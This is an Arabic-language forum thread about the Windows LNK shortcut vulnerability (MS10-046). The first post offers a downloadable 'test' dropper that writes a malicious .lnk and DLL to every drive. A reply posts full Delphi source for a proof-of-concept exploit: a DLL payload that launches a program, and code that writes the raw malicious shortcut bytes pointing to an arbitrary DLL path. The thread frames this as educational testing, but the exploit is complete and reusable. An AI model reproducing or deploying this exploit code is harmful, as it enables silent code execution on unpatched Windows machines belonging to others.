LNK Shortcut File Code Execution Test
#1
السلام عليكم ورحمة الله
اظن ان الكل اصبح يعلم بوجود ثغرة تتيح استغلال ملفات (اختصارات) *.lnk لتنفيذ اوامر دون تدخل المستعمل.

على عكس ملفات Autorun.inf فان التعامل البسيط مع ملفات *.lnk مثل: نسخ، لصق، اعادة التسمية، قراءة خصائص ملف *.lnk او بمجرد الدخول للسواقة الملغومة او المجلد الملغوم سواء دخول مباشر او غير مباشر يتم عن طريق Open او Save من برامج اخرى، فانه يتم تنفيذ الأوامر.

تسارعت برامج الحماية في برمجة ادوات حماية و احتياط و تبعتها شركة مايكروسوفت بالترقيع.

يعني نوعا ما و بتحفظ انتهت الحكاية مع الترقيع الموضوع في الموقع الرسمي لشركة مايكروسوفت، و اصبح اصحاب Windows Xp Sp2 خارج اللعبة بما انه تم اعلان ايقاف الدعم لــ Sp2 منذ اشهر.

لفحص جهازك و امكانية اصابته بالثغرة، حمل الــ Dropper التجريبي المرفق و قم بتشغيله ثم جرب العمليات السابقة.

[صورة: 2d2asf5.jpg]


الــ Dropper:
- يقوم بتنزيل ملفيت: Test.lnk و Test.dll في جميع السواقات.
- يظهر رسالة في كل مرة تم فيها استدعاء المكتبة.
- اذا لم يتم اغلاق الرسائل التي يظهرها يتم تجميد Windows Explorer

الملف التجريبي غير ضار و آمن يقوم فقط باشتغلال الثغرة، و التأكد من ان الجهاز لا يحتوي الثغرة بعد تطبيق ترقيع شركة مايكروسوفت.

كود :
Malware LNK sample

This is just another test related to "Automatic LNK Shortcut File Code Execution.
Only for education purpose.


Launch "Dropper.exe" and Try to:
- Copy, rename, move Test.lnk file.
- Try to explore, search and open dirves.
[COLOR=Red]- Read Test.lnk Properties -->> Important test.[/COLOR]

Dropper action: Block your Windows Explorer using ShowModal Msg.

(c) 2010 by STRELiTZIA

بالتوفيق ان شاء الله


الملفات المرفقة
.rar   Dropper.rar (الحجم : 14.61 ك ب / التحميلات : 93)
الرد
#2
السلام عليكم
بارك الله فيك أخي
عمل مميز
جربت أحد برامجك وجدته في دلفي بازيك ولم أفهم شيء
(متعلق بالدرايفرات)
رمضان كريم
ومن يتهيب صعود الجبال يعش أبد الدهر بين التلال و الحفر
الرد
#3
وعليكم السلام ورحمة الله
المكتبة:
PHP كود :
library Project;
 
uses
  SysUtils
,windows;
 
begin
     MessageBoxA
(0'Yeah, !!! CPL Lnk Exploit !!! success''MS10-046',MB_ICONWARNING);
     
WinExec('Winmine.exe'Sw_Normal); 
end
المثال:
PHP كود :
program Project;
uses
  SysUtils
,
  
Windows;
 
procedure CplLnkExploit(location:string);
const
 
// ShellCode Lnk Vulnerability
Sizelnk :integer 141;
ShellCode  : ARRAY [1..141OF Byte = (
$
4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00,$46,$81,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,
$
00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$36,$01,$14,$00,$1F,$50,$E0,$4F,$D0,$20,$EA,$3A,$69,$10,$A2,$D8,$08,$00,$2B,$30,$30,$9D,$14,$00,$2E,$1E,$20,$20,$EC,$21,$EA,$3A,$69,$10,$A2,$DD,$08,$00,$2B,$30,$30,$9D,$0C,$01,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$00,$6A,$00,$00,$00,$00,$00,$00,$20,$00,$3A);
 
// ~ Your Dll Here ~ Ex : 'C:MS10-046.dll'
SizeNameDll integer 30;
Dllx : ARRAY [1..30OF Byte = ($00,$43,$00,$3A,$00,$5C,$00,$4D,$00,$53,$00,$31,$00,$30,$00,$2D,$00,$30,$00,$34,$00,$36,$00,$2E,$00,$64,$00,$6C,$00,$6C);
 
var
 
one:file;
 
i:integer;
 
begin
 AssignFile
(one,location);
 
Rewrite(one,1);
 
  for 
i:=1 to Sizelnk do
  
begin
   BlockWrite
(one,ShellCode[i],1);
  
end;
 
  for 
i:=1 to SizeNameDll do
  
begin
   BlockWrite
(one,Dllx[i],1);
  
end;
 
  
CloseFile(one);
end;
 
begin
     MessageBoxA
(0,'[POC] Cpl Lnk Vulnerability !!! Enjoy !!!''MS10-046',MB_OK);
     
// Extract here
     
CplLnkExploit('MS10-046.lnk');
end
مدونة:
كود :
http://www.coresec.org/2011/04/01/delphi-cpl-lnk-exploit-lnk-vulnerability/
الرد


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم